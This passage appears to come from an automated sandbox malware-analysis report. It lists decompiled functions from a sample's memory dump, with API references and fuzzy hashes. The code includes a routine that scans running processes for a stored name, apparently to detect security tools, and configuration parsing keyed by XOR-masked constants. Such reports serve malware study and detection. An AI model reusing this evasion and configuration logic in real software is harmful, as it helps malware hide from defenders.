0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 014048F1: SysFreeString.OLEAUT32(00000000), ref: 01404954

HeapFree.KERNEL32(00000000,00000000,00000000,80000002,7519F710,?,00000000,?,00000000,?,01408D51,?,004F0053,02509368,00000000,?), ref: 014053B9

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Free$HeapString
String ID:
API String ID: 3806048269-0
Opcode ID: 87cf41687c56fe8b8bb7bbb54267236d0b776cf1f5c8bb907d41ba8974e6c847
Instruction ID: 63a44ca6d1121d4ed8734b3106f1c39933447039cd861883ac4bfb441a4bc72e
Opcode Fuzzy Hash: 87cf41687c56fe8b8bb7bbb54267236d0b776cf1f5c8bb907d41ba8974e6c847
Instruction Fuzzy Hash: E601283250161ABBDB239F9ACC05EAA7B65EF54790F04802AFE059E2B0D771C960DB90

Uniqueness

Uniqueness Score: -1.00%

Function 01401AE2, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E01401AE2(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x01401ae2
0x01401aef
0x01401af0
0x01401af1
0x01401af8
0x01401b26
0x01401b27
0x01401b2a
0x01401b30
0x00000000
0x00000000
0x01401b0f
0x01401b19
0x01401b20
0x00000000
0x01401b11
0x01401b14
0x01401b34
0x01401b16
0x01401b16
0x00000000
0x01401b16
0x01401b14
0x01401b3b
0x01401b41
0x01401b41
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 01401B2A

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2100f55625108d854f45b3ed6db0c80a8761c615555ccf1effce39b0cace3dca
Instruction ID: 731bcb83c0e14e569b077f58f4a2459b0c27ae41d50cbd967bbc1ce16144d455
Opcode Fuzzy Hash: 2100f55625108d854f45b3ed6db0c80a8761c615555ccf1effce39b0cace3dca
Instruction Fuzzy Hash: 8DF01975D01218EBDB02DB99C588AEEB7B8EF04704F1040AAE50263250E3749B44CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01404A09, Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01404A09(void* __edi, void* _a4) {
				int _t7;
				int _t12;

				_t7 = E01401526(__edi, _a4,  &_a4); // executed
				_t12 = _t7;
				if(_t12 != 0) {
					memcpy(__edi, _a4, _t12);
					 *((char*)(__edi + _t12)) = 0;
					E0140A734(_a4);
				}
				return _t12;
			}

0x01404a15
0x01404a1a
0x01404a1e
0x01404a25
0x01404a30
0x01404a34
0x01404a34
0x01404a3d

APIs

Part of subcall function 01401526: memcpy.NTDLL(00000000,00000090,00000002,00000002,01405289,00000008,01405289,01405289,?,0140A3FE,01405289), ref: 0140155C
Part of subcall function 01401526: memset.NTDLL ref: 014015D1
Part of subcall function 01401526: memset.NTDLL ref: 014015E5

memcpy.NTDLL(00000002,01405289,00000000,00000002,01405289,01405289,01405289,?,0140A3FE,01405289,?,01405289,00000002,?,?,01405D5E), ref: 01404A25

Part of subcall function 0140A734: HeapFree.KERNEL32(00000000,00000000,01405637,00000000,?,?,00000000), ref: 0140A740

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpymemset$FreeHeap
String ID:
API String ID: 3053036209-0
Opcode ID: e6817b10372af5116933f012d7fa3afbfc5e6b6b9757d7c95a37c68b0d13499d
Instruction ID: 735f43d4cc1e11eac5ae93fe1fda61cb9096a1fa9aa72f7aaa4d7b1ce394e710
Opcode Fuzzy Hash: e6817b10372af5116933f012d7fa3afbfc5e6b6b9757d7c95a37c68b0d13499d
Instruction Fuzzy Hash: 6AE0867740112977CB137A96DC00DEF7F5C8F71691F04403AFE094A250E631C55097E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0140888E, Relevance: 10.7, APIs: 7, Instructions: 237
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0140888E(int* __ecx) {
				int _v8;
				void* _v12;
				void* _v16;
				void* __esi;
				signed int _t26;
				signed int _t31;
				signed int _t37;
				char* _t43;
				char* _t44;
				char* _t45;
				char* _t46;
				char* _t47;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t51;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				signed int _t58;
				intOrPtr _t61;
				signed int _t62;
				signed int _t67;
				void* _t69;
				void* _t70;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				signed int _t84;
				signed int _t88;
				signed int _t92;
				void* _t97;
				intOrPtr _t114;

				_t98 = __ecx;
				_t26 =  *0x140d2a4; // 0x63699bc3
				if(E01407145( &_v8,  &_v12, _t26 ^ 0x8241c5a7) != 0 && _v12 >= 0x90) {
					 *0x140d2d8 = _v8;
				}
				_t31 =  *0x140d2a4; // 0x63699bc3
				if(E01407145( &_v16,  &_v12, _t31 ^ 0x0b822240) == 0) {
					_v12 = 2;
					L62:
					return _v12;
				}
				_t37 =  *0x140d2a4; // 0x63699bc3
				if(E01407145( &_v12,  &_v8, _t37 ^ 0xecd84622) == 0) {
					L60:
					HeapFree( *0x140d238, 0, _v16);
					goto L62;
				} else {
					_t97 = _v12;
					if(_t97 == 0) {
						_t43 = 0;
					} else {
						_t92 =  *0x140d2a4; // 0x63699bc3
						_t43 = E01406B2E(_t98, _t97, _t92 ^ 0x724e87bc);
					}
					if(_t43 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t43, 0,  &_v8) != 0) {
							 *0x140d240 = _v8;
						}
					}
					if(_t97 == 0) {
						_t44 = 0;
					} else {
						_t88 =  *0x140d2a4; // 0x63699bc3
						_t44 = E01406B2E(_t98, _t97, _t88 ^ 0x2b40cc40);
					}
					if(_t44 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t44, 0,  &_v8) != 0) {
							 *0x140d244 = _v8;
						}
					}
					if(_t97 == 0) {
						_t45 = 0;
					} else {
						_t84 =  *0x140d2a4; // 0x63699bc3
						_t45 = E01406B2E(_t98, _t97, _t84 ^ 0x3b27c2e6);
					}
					if(_t45 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x140d248 = _v8;
						}
					}
					if(_t97 == 0) {
						_t46 = 0;
					} else {
						_t80 =  *0x140d2a4; // 0x63699bc3
						_t46 = E01406B2E(_t98, _t97, _t80 ^ 0x0602e249);
					}
					if(_t46 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x140d004 = _v8;
						}
					}
					if(_t97 == 0) {
						_t47 = 0;
					} else {
						_t76 =  *0x140d2a4; // 0x63699bc3
						_t47 = E01406B2E(_t98, _t97, _t76 ^ 0x3603764c);
					}
					if(_t47 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x140d02c = _v8;
						}
					}
					if(_t97 == 0) {
						_t48 = 0;
					} else {
						_t72 =  *0x140d2a4; // 0x63699bc3
						_t48 = E01406B2E(_t98, _t97, _t72 ^ 0x2cc1f2fd);
					}
					if(_t48 != 0) {
						_push(_t48);
						_t69 = 0x10;
						_t70 = E014056FA(_t69);
						if(_t70 != 0) {
							_push(_t70);
							E01406702();
						}
					}
					if(_t97 == 0) {
						_t49 = 0;
					} else {
						_t67 =  *0x140d2a4; // 0x63699bc3
						_t49 = E01406B2E(_t98, _t97, _t67 ^ 0xb30fc035);
					}
					if(_t49 != 0 && E014056FA(0, _t49) != 0) {
						_t114 =  *0x140d32c; // 0x25095b0
						E014023F4(_t114 + 4, _t65);
					}
					if(_t97 == 0) {
						_t50 = 0;
					} else {
						_t62 =  *0x140d2a4; // 0x63699bc3
						_t50 = E01406B2E(_t98, _t97, _t62 ^ 0x372ab5b7);
					}
					if(_t50 == 0) {
						L52:
						_t51 =  *0x140d2a8; // 0x10fa5a8
						_t20 = _t51 + 0x140e252; // 0x616d692f
						 *0x140d2d4 = _t20;
						goto L53;
					} else {
						_t61 = E014056FA(0, _t50);
						 *0x140d2d4 = _t61;
						if(_t61 != 0) {
							L53:
							if(_t97 == 0) {
								_t53 = 0;
							} else {
								_t58 =  *0x140d2a4; // 0x63699bc3
								_t53 = E01406B2E(_t98, _t97, _t58 ^ 0xd8dc5cde);
							}
							if(_t53 == 0) {
								_t54 =  *0x140d2a8; // 0x10fa5a8
								_t21 = _t54 + 0x140e791; // 0x6976612e
								_t55 = _t21;
							} else {
								_t55 = E014056FA(0, _t53);
							}
							 *0x140d340 = _t55;
							HeapFree( *0x140d238, 0, _t97);
							_v12 = 0;
							goto L60;
						}
						goto L52;
					}
				}
			}

0x0140888e
0x01408891
0x014088b1
0x014088bf
0x014088bf
0x014088c4
0x014088de
0x01408b0d
0x01408b14
0x01408b1b
0x01408b1b
0x014088e4
0x01408900
0x01408afb
0x01408b05
0x00000000
0x01408906
0x01408906
0x0140890b
0x01408921
0x0140890d
0x0140890d
0x0140891a
0x0140891a
0x0140892b
0x0140892d
0x01408937
0x0140893c
0x0140893c
0x01408937
0x01408943
0x01408959
0x01408945
0x01408945
0x01408952
0x01408952
0x0140895d
0x0140895f
0x01408969
0x0140896e
0x0140896e
0x01408969
0x01408975
0x0140898b
0x01408977
0x01408977
0x01408984
0x01408984
0x0140898f
0x01408991
0x0140899b
0x014089a0
0x014089a0
0x0140899b
0x014089a7
0x014089bd
0x014089a9
0x014089a9
0x014089b6
0x014089b6
0x014089c1
0x014089c3
0x014089cd
0x014089d2
0x014089d2
0x014089cd
0x014089d9
0x014089ef
0x014089db
0x014089db
0x014089e8
0x014089e8
0x014089f3
0x014089f5
0x014089ff
0x01408a04
0x01408a04
0x014089ff
0x01408a0b
0x01408a21
0x01408a0d
0x01408a0d
0x01408a1a
0x01408a1a
0x01408a25
0x01408a27
0x01408a2a
0x01408a2b
0x01408a32
0x01408a34
0x01408a35
0x01408a35
0x01408a32
0x01408a3c
0x01408a52
0x01408a3e
0x01408a3e
0x01408a4b
0x01408a4b
0x01408a56
0x01408a64
0x01408a6e
0x01408a6e
0x01408a75
0x01408a8b
0x01408a77
0x01408a77
0x01408a84
0x01408a84
0x01408a8f
0x01408aa2
0x01408aa2
0x01408aa7
0x01408aad
0x00000000
0x01408a91
0x01408a94
0x01408a99
0x01408aa0
0x01408ab2
0x01408ab4
0x01408aca
0x01408ab6
0x01408ab6
0x01408ac3
0x01408ac3
0x01408ace
0x01408ada
0x01408adf
0x01408adf
0x01408ad0
0x01408ad3
0x01408ad3
0x01408aed
0x01408af2
0x01408af8
0x00000000
0x01408af8
0x00000000
0x01408aa0
0x01408a8f

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,01405D25,?,63699BC3,?,01405D25,63699BC3,?,01405D25,63699BC3,00000005,0140D00C,00000008), ref: 01408933
StrToIntExA.SHLWAPI(00000000,00000000,?,01405D25,?,63699BC3,?,01405D25,63699BC3,?,01405D25,63699BC3,00000005,0140D00C,00000008), ref: 01408965
StrToIntExA.SHLWAPI(00000000,00000000,?,01405D25,?,63699BC3,?,01405D25,63699BC3,?,01405D25,63699BC3,00000005,0140D00C,00000008), ref: 01408997
StrToIntExA.SHLWAPI(00000000,00000000,?,01405D25,?,63699BC3,?,01405D25,63699BC3,?,01405D25,63699BC3,00000005,0140D00C,00000008), ref: 014089C9
StrToIntExA.SHLWAPI(00000000,00000000,?,01405D25,?,63699BC3,?,01405D25,63699BC3,?,01405D25,63699BC3,00000005,0140D00C,00000008), ref: 014089FB
HeapFree.KERNEL32(00000000,01405D25,01405D25,?,63699BC3,?,01405D25,63699BC3,?,01405D25,63699BC3,00000005,0140D00C,00000008,?,01405D25), ref: 01408AF2
HeapFree.KERNEL32(00000000,?,01405D25,?,63699BC3,?,01405D25,63699BC3,?,01405D25,63699BC3,00000005,0140D00C,00000008,?,01405D25), ref: 01408B05

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: b278f20454db09ec0d9e0256f506199df9b8c7d9fd62e0049d64496f61bc7b1a
Instruction ID: e2cf24183a1706a20af2491951f0ce3d38428ad7091306177b6c9620601bcb58
Opcode Fuzzy Hash: b278f20454db09ec0d9e0256f506199df9b8c7d9fd62e0049d64496f61bc7b1a
Instruction Fuzzy Hash: 267170B1E00117AFD723FBFF9B8495B7AEDDB58200724093BA506D72B8E634D9458B21

Uniqueness

Uniqueness Score: -1.00%

Function 0140A65C, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0140A65C() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x140d2a8; // 0x10fa5a8
						_t2 = _t9 + 0x140ee34; // 0x73617661
						_push( &_v264);
						if( *0x140d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x0140a667
0x0140a671
0x0140a675
0x0140a67f
0x0140a6b0
0x0140a686
0x0140a68b
0x0140a698
0x0140a6a1
0x0140a6b8
0x0140a6a3
0x0140a6ab
0x00000000
0x0140a6ab
0x0140a6b9
0x0140a6ba
0x00000000
0x0140a6ba
0x00000000
0x0140a6b4
0x0140a6c0
0x0140a6c5

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0140A66C
Process32First.KERNEL32(00000000,?), ref: 0140A67F
Process32Next.KERNEL32(00000000,?), ref: 0140A6AB
CloseHandle.KERNEL32(00000000), ref: 0140A6BA

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 386890c13ae0350175e7b0ae7dbf95594c7685ed75dcb65f066ab8b3c8180df9
Instruction ID: 9da3ff4036efde59ea8f5a8767dec0980dea2ff289b9a2d413ddc926db0addaf
Opcode Fuzzy Hash: 386890c13ae0350175e7b0ae7dbf95594c7685ed75dcb65f066ab8b3c8180df9
Instruction Fuzzy Hash: 4AF0F6325012156AD723AAA78C48DEB76BCDBC5720F000576EA49D31A0EA30C98987A1

Uniqueness

Uniqueness Score: -1.00%

Function 10001F0E, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001F0E() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0x10004130;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x1000413c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0x1000412c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x10004128 = _t5;
						 *0x10004130 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x10004124 = _t6;
						if(_t6 == 0) {
							 *0x10004124 =  *0x10004124 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x10001f0f
0x10001f1d
0x10001f23
0x10001f2a
0x10001f81
0x10001f81
0x10001f2c
0x10001f34
0x10001f41
0x10001f41
0x10001f7d
0x10001f7f
0x00000000
0x00000000
0x00000000
0x10001f36
0x10001f3d
0x10001f43
0x10001f43
0x10001f48
0x10001f56
0x10001f5b
0x10001f61
0x10001f67
0x10001f6e
0x10001f70
0x10001f70
0x10001f7a
0x10001f3f
0x10001f3f
0x00000000
0x10001f3f
0x10001f3d

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,10001462,751463F0), ref: 10001F1D
GetVersion.KERNEL32 ref: 10001F2C
GetCurrentProcessId.KERNEL32 ref: 10001F48
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 10001F61

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: 6b78b0ba66763b1fda00833f905b6321ffd1b1deaffe8dbc06cc9ba591ad23f3
Instruction ID: 81d6f718ae41dea5634b5d6ac1f0cee9f6b854f783bc08cc4c4759fd43992b84
Opcode Fuzzy Hash: 6b78b0ba66763b1fda00833f905b6321ffd1b1deaffe8dbc06cc9ba591ad23f3
Instruction Fuzzy Hash: 50F0AFB06453329BF7019F68ADA97D63BE4E7097D2F024125F641C61ECDBB095828B4C

Uniqueness

Uniqueness Score: -1.00%

Function 01403EE1, Relevance: 1.9, APIs: 1, Instructions: 611
COMMONCrypto

Download Yara Rule

C-Code - Quality: 49%

			E01403EE1(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t338;
				signed char* _t348;
				signed int _t349;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t367;
				signed int _t376;
				signed int _t378;
				signed int _t380;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t400;
				signed int* _t401;
				signed int _t402;
				signed int _t404;
				signed int _t406;
				signed int _t408;
				signed int _t410;
				signed int _t412;
				signed int _t414;
				signed int _t416;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t424;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t438;
				signed int _t440;
				signed int _t508;
				signed int _t599;
				signed int _t607;
				signed int _t613;
				signed int _t679;
				void* _t682;
				signed int _t683;
				signed int _t685;
				signed int _t690;
				signed int _t692;
				signed int _t697;
				signed int _t699;
				signed int _t718;
				signed int _t720;
				signed int _t722;
				signed int _t724;
				signed int _t726;
				signed int _t728;
				signed int _t734;
				signed int _t740;
				signed int _t742;
				signed int _t744;
				signed int _t746;
				signed int _t748;

				_t226 = _a4;
				_t348 = __ecx + 2;
				_t401 =  &_v76;
				_t682 = 0x10;
				do {
					 *_t401 = (((_t348[1] & 0x000000ff) << 0x00000008 |  *_t348 & 0x000000ff) << 0x00000008 |  *(_t348 - 1) & 0x000000ff) << 0x00000008 |  *(_t348 - 2) & 0x000000ff;
					_t401 =  &(_t401[1]);
					_t348 =  &(_t348[4]);
					_t682 = _t682 - 1;
				} while (_t682 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t683 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t402 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t349 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t683 & _t349 | _t402 & _t683) + _v76 +  *_t226 - 0x28955b88 + _t683;
				asm("rol ecx, 0xc");
				_t351 = ( !_t229 & _t402 | _t683 & _t229) + _v72 + _t349 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t404 = ( !_t351 & _t683 | _t351 & _t229) + _v68 + _t402 + 0x242070db + _t351;
				asm("ror esi, 0xa");
				_t685 = ( !_t404 & _t229 | _t351 & _t404) + _v64 + _t683 - 0x3e423112 + _t404;
				_v8 = _t685;
				_t690 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t685 & _t351 | _t404 & _v8) + _v60 + _t229 - 0xa83f051 + _t690;
				asm("rol ecx, 0xc");
				_t353 = ( !_t231 & _t404 | _t690 & _t231) + _v56 + _t351 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t406 = ( !_t353 & _t690 | _t353 & _t231) + _v52 + _t404 - 0x57cfb9ed + _t353;
				asm("ror esi, 0xa");
				_t692 = ( !_t406 & _t231 | _t353 & _t406) + _v48 + _t690 - 0x2b96aff + _t406;
				_v8 = _t692;
				_t697 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t692 & _t353 | _t406 & _v8) + _v44 + _t231 + 0x698098d8 + _t697;
				asm("rol ecx, 0xc");
				_t355 = ( !_t233 & _t406 | _t697 & _t233) + _v40 + _t353 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t408 = ( !_t355 & _t697 | _t355 & _t233) + _v36 + _t406 - 0xa44f + _t355;
				asm("ror esi, 0xa");
				_t699 = ( !_t408 & _t233 | _t355 & _t408) + _v32 + _t697 - 0x76a32842 + _t408;
				_v8 = _t699;
				asm("rol eax, 0x7");
				_t235 = ( !_t699 & _t355 | _t408 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t357 = ( !_t235 & _t408 | _v8 & _t235) + _v24 + _t355 - 0x2678e6d + _t235;
				_t508 =  !_t357;
				asm("ror edx, 0xf");
				_t410 = (_t508 & _v8 | _t357 & _t235) + _v20 + _t408 - 0x5986bc72 + _t357;
				_v12 = _t410;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t718 = (_v12 & _t235 | _t357 & _t410) + _v16 + _v8 + 0x49b40821 + _t410;
				asm("rol eax, 0x5");
				_t237 = (_t508 & _t410 | _t357 & _t718) + _v72 + _t235 - 0x9e1da9e + _t718;
				asm("rol ecx, 0x9");
				_t359 = (_v12 & _t718 | _t410 & _t237) + _v52 + _t357 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t412 = ( !_t718 & _t237 | _t359 & _t718) + _v32 + _t410 + 0x265e5a51 + _t359;
				asm("ror esi, 0xc");
				_t720 = ( !_t237 & _t359 | _t412 & _t237) + _v76 + _t718 - 0x16493856 + _t412;
				asm("rol eax, 0x5");
				_t239 = ( !_t359 & _t412 | _t359 & _t720) + _v56 + _t237 - 0x29d0efa3 + _t720;
				asm("rol ecx, 0x9");
				_t361 = ( !_t412 & _t720 | _t412 & _t239) + _v36 + _t359 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t414 = ( !_t720 & _t239 | _t361 & _t720) + _v16 + _t412 - 0x275e197f + _t361;
				asm("ror esi, 0xc");
				_t722 = ( !_t239 & _t361 | _t414 & _t239) + _v60 + _t720 - 0x182c0438 + _t414;
				asm("rol eax, 0x5");
				_t241 = ( !_t361 & _t414 | _t361 & _t722) + _v40 + _t239 + 0x21e1cde6 + _t722;
				asm("rol ecx, 0x9");
				_t363 = ( !_t414 & _t722 | _t414 & _t241) + _v20 + _t361 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t416 = ( !_t722 & _t241 | _t363 & _t722) + _v64 + _t414 - 0xb2af279 + _t363;
				asm("ror esi, 0xc");
				_t724 = ( !_t241 & _t363 | _t416 & _t241) + _v44 + _t722 + 0x455a14ed + _t416;
				asm("rol eax, 0x5");
				_t243 = ( !_t363 & _t416 | _t363 & _t724) + _v24 + _t241 - 0x561c16fb + _t724;
				asm("rol ecx, 0x9");
				_t365 = ( !_t416 & _t724 | _t416 & _t243) + _v68 + _t363 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t418 = ( !_t724 & _t243 | _t365 & _t724) + _v48 + _t416 + 0x676f02d9 + _t365;
				asm("ror esi, 0xc");
				_t726 = ( !_t243 & _t365 | _t418 & _t243) + _v28 + _t724 - 0x72d5b376 + _t418;
				asm("rol eax, 0x4");
				_t245 = (_t365 ^ _t418 ^ _t726) + _v56 + _t243 - 0x5c6be + _t726;
				asm("rol ecx, 0xb");
				_t367 = (_t418 ^ _t726 ^ _t245) + _v44 + _t365 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t420 = (_t367 ^ _t726 ^ _t245) + _v32 + _t418 + 0x6d9d6122 + _t367;
				_t599 = _t367 ^ _t420;
				asm("ror esi, 0x9");
				_t728 = (_t599 ^ _t245) + _v20 + _t726 - 0x21ac7f4 + _t420;
				asm("rol eax, 0x4");
				_t247 = (_t599 ^ _t728) + _v72 + _t245 - 0x5b4115bc + _t728;
				asm("rol edi, 0xb");
				_t607 = (_t420 ^ _t728 ^ _t247) + _v60 + _t367 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t422 = (_t607 ^ _t728 ^ _t247) + _v48 + _t420 - 0x944b4a0 + _t607;
				_t338 = _t607 ^ _t422;
				asm("ror ecx, 0x9");
				_t376 = (_t338 ^ _t247) + _v36 + _t728 - 0x41404390 + _t422;
				asm("rol eax, 0x4");
				_t249 = (_t338 ^ _t376) + _v24 + _t247 + 0x289b7ec6 + _t376;
				asm("rol esi, 0xb");
				_t734 = (_t422 ^ _t376 ^ _t249) + _v76 + _t607 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t613 = (_t734 ^ _t376 ^ _t249) + _v64 + _t422 - 0x2b10cf7b + _t734;
				_t424 = _t734 ^ _t613;
				asm("ror ecx, 0x9");
				_t378 = (_t424 ^ _t249) + _v52 + _t376 + 0x4881d05 + _t613;
				asm("rol eax, 0x4");
				_t251 = (_t424 ^ _t378) + _v40 + _t249 - 0x262b2fc7 + _t378;
				asm("rol edx, 0xb");
				_t432 = (_t613 ^ _t378 ^ _t251) + _v28 + _t734 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t740 = (_t432 ^ _t378 ^ _t251) + _v16 + _t613 + 0x1fa27cf8 + _t432;
				asm("ror ecx, 0x9");
				_t380 = (_t432 ^ _t740 ^ _t251) + _v68 + _t378 - 0x3b53a99b + _t740;
				asm("rol eax, 0x6");
				_t253 = (( !_t432 | _t380) ^ _t740) + _v76 + _t251 - 0xbd6ddbc + _t380;
				asm("rol edx, 0xa");
				_t434 = (( !_t740 | _t253) ^ _t380) + _v48 + _t432 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t742 = (( !_t380 | _t434) ^ _t253) + _v20 + _t740 - 0x546bdc59 + _t434;
				asm("ror ecx, 0xb");
